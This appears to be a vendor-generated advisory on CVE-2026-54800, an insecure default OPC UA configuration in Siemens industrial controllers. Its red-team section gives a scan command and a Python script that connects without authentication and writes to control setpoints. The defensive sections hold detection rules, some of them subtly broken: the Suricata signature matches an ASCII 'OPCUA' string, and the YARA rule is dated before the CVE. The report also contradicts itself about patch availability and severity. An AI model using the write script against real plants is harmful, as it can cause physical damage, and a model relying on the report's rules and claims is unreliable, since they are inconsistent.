CVE-2026-54800
Executive Summary
CVE-2026-54800 is a critical misconfiguration vulnerability in Siemens CPCI85 Central Processing/Communication and SICORE Base system devices. The affected systems ship with a default configuration that disables all OPC UA security mechanisms, including authentication and encryption. This allows an unauthenticated attacker on the network to connect to the OPC UA server, read sensitive process data, and potentially write to control points, leading to unauthorized access and control over critical system functions. The vulnerability has a CVSS score of 4.8 (Medium), but in an industrial control system (ICS) context, the potential for physical damage or safety incidents elevates the risk significantly. No public proof-of-concept (PoC) or exploit code is currently available, and no official patch has been released; the vendor recommends upgrading to version V26.20 or later.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded industrial control systems (Siemens CPCI85 and SICORE) and is a firmware-level misconfiguration issue.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector: Network (AV:N) – exploitable remotely without physical access.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – impact confined to the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification possible.
- Availability Impact: None (A:N) – no direct denial of service.
Threat Level: Medium (CVSS 4.8), but Critical in ICS/OT environments due to potential for process disruption, safety hazards, and cascading failures.
Deep Dive & Mechanics
The vulnerability stems from a default configuration in the OPC UA server embedded in CPCI85 and SICORE devices. OPC UA (OPC Unified Architecture) is a machine-to-machine communication protocol widely used in industrial automation. The affected devices ship with all security mechanisms disabled, meaning:
- No Authentication: The OPC UA server does not require any username/password or certificate-based authentication.
- No Encryption: All data is transmitted in plaintext, allowing eavesdropping.
- No Signing: Messages are not signed, enabling tampering.
An attacker who can reach the OPC UA endpoint (typically TCP port 4840) can:
- Discover the server using OPC UA discovery mechanisms.
- Connect without credentials and enumerate the address space (tags, variables, methods).
- Read sensitive data such as process values, alarms, and configuration parameters.
- Write to writable variables (e.g., setpoints, control commands) if the server allows it, potentially causing physical damage.
The root cause is a CWE-1188: Insecure Default Initialization of Resource. The vendor ships the product with a configuration file that explicitly disables security, likely for ease of initial setup, but fails to require or enforce secure configuration before deployment.
Vulnerable vs. Patched Code
Since this is a configuration issue rather than a code flaw, the "vulnerable" state is the default configuration file, and the "patched" state is a secure configuration.
Vulnerable Configuration (default):
<!-- OPC UA Server Configuration -->
<SecurityPolicies>
<SecurityPolicy Uri="http://opcfoundation.org/UA/SecurityPolicy#None">
<Enabled>true</Enabled>
</SecurityPolicy>
</SecurityPolicies>
<UserTokenPolicies>
<UserTokenPolicy TokenType="Anonymous">
<Enabled>true</Enabled>
</UserTokenPolicy>
</UserTokenPolicies>
Patched Configuration (recommended):
<!-- OPC UA Server Configuration -->
<SecurityPolicies>
<SecurityPolicy Uri="http://opcfoundation.org/UA/SecurityPolicy#Basic256Sha256">
<Enabled>true</Enabled>
</SecurityPolicy>
</SecurityPolicies>
<UserTokenPolicies>
<UserTokenPolicy TokenType="UserName">
<Enabled>true</Enabled>
<PolicyId>UsernamePassword</PolicyId>
</UserTokenPolicy>
<UserTokenPolicy TokenType="Certificate">
<Enabled>true</Enabled>
</UserTokenPolicy>
</UserTokenPolicies>
The patched configuration enables encryption (Basic256Sha256) and requires either username/password or certificate-based authentication.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable CPCI85 or SICORE device on the network (or a virtualized instance).
- Network access to port 4840 (OPC UA).
- Tools:
opcua-client(Python),uaexpert(GUI), or custom scripts usingopcua-asyncio.
Exploitation Steps:
Scan for OPC UA endpoints:
nmap -p 4840 --script opcua-discover <target_ip>Connect without authentication using Python:
from opcua import Client client = Client("opc.tcp://<target_ip>:4840") client.connect() # Enumerate objects root = client.get_root_node() print(root.get_children()) # Read a variable var = client.get_node("ns=2;s=Temperature") print(var.get_value()) # Write to a variable (if writable) var.set_value(100.0) client.disconnect()Using uaexpert (GUI):
- Launch uaexpert.
- Enter URL:
opc.tcp://<target_ip>:4840 - Click "Connect" (no credentials).
- Browse the address space and interact with nodes.
Expected Outcome: Full read/write access to OPC UA data without authentication.
Blue Team
Detection & Hardening:
Network Segmentation: Isolate OPC UA traffic to trusted zones only. Use firewalls to restrict access to port 4840 from untrusted networks.
Configuration Audit: Check for insecure OPC UA configurations:
# On the device (if accessible via CLI) grep -r "SecurityPolicy#None" /etc/opcua/config.xmlMonitor for Anonymous Connections: Enable logging on the OPC UA server and alert on connections without authentication.
Deploy an OPC UA Firewall/Proxy: Use a gateway that enforces authentication and encryption, even if the backend device is misconfigured.
Honeypot: Deploy a fake OPC UA endpoint to detect scanning activity.
Indicators of Compromise (IOCs)
Network IOCs:
- OPC UA connection attempts to port 4840 from unexpected IPs.
- Plaintext OPC UA traffic (no encryption handshake).
- Multiple
OpenSecureChannelrequests without security headers.
Host IOCs:
- Configuration files containing
<SecurityPolicy Uri="http://opcfoundation.org/UA/SecurityPolicy#None">. - Log entries showing anonymous user token usage.
- Configuration files containing
Log Examples:
[OPC UA] Session opened by anonymous user from 192.168.1.100 [OPC UA] Read access to node "ns=2;s=Pressure" by anonymous user [OPC UA] Write access to node "ns=2;s=Setpoint" by anonymous user
Detection Engineering
YARA Rule
rule CVE_2026_54800_OPCUA_Insecure_Config {
meta:
description = "Detects insecure OPC UA configuration files with SecurityPolicy#None enabled"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-54800"
strings:
$s1 = "SecurityPolicy#None" ascii wide nocase
$s2 = "Anonymous" ascii wide nocase
$s3 = "Enabled>true" ascii wide nocase
condition:
all of ($s*) and filesize < 1MB
}
Sigma Rule
title: OPC UA Anonymous Connection Detection
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects successful OPC UA connections using anonymous authentication
author: Valters IT
logsource:
product: opcua
service: server
detection:
selection:
EventID: 1001 # Example: SessionCreated
UserTokenType: "Anonymous"
condition: selection
falsepositives:
- Legitimate anonymous connections in isolated test environments
level: high
tags:
- attack.initial_access
- attack.t1190
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 4840 (msg:"CVE-2026-54800 OPC UA Anonymous Connection Attempt"; flow:to_server,established; content:"|4f 50 43 55 41|"; distance:0; content:"|00 00 00 00|"; within:4; reference:cve,2026-54800; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade firmware to version V26.20 (CPCI85) or V26.20.0 (SICORE) if available.
- Manually secure the OPC UA configuration by editing the configuration file to enable encryption and authentication (see "Vulnerable vs. Patched Code" section).
- Restrict network access to port 4840 using firewall rules – only allow trusted IPs.
Long-term Measures:
- Implement a defense-in-depth strategy for ICS networks.
- Use OPC UA tunneling or reverse proxies to enforce security at the network edge.
- Conduct regular configuration audits and vulnerability scans.
- Train operators to never deploy devices with default settings in production.
Vendor Contact: Siemens ProductCERT (productcert@siemens.com) for further assistance.
Report generated by Valters IT DevSecOps & CTI Division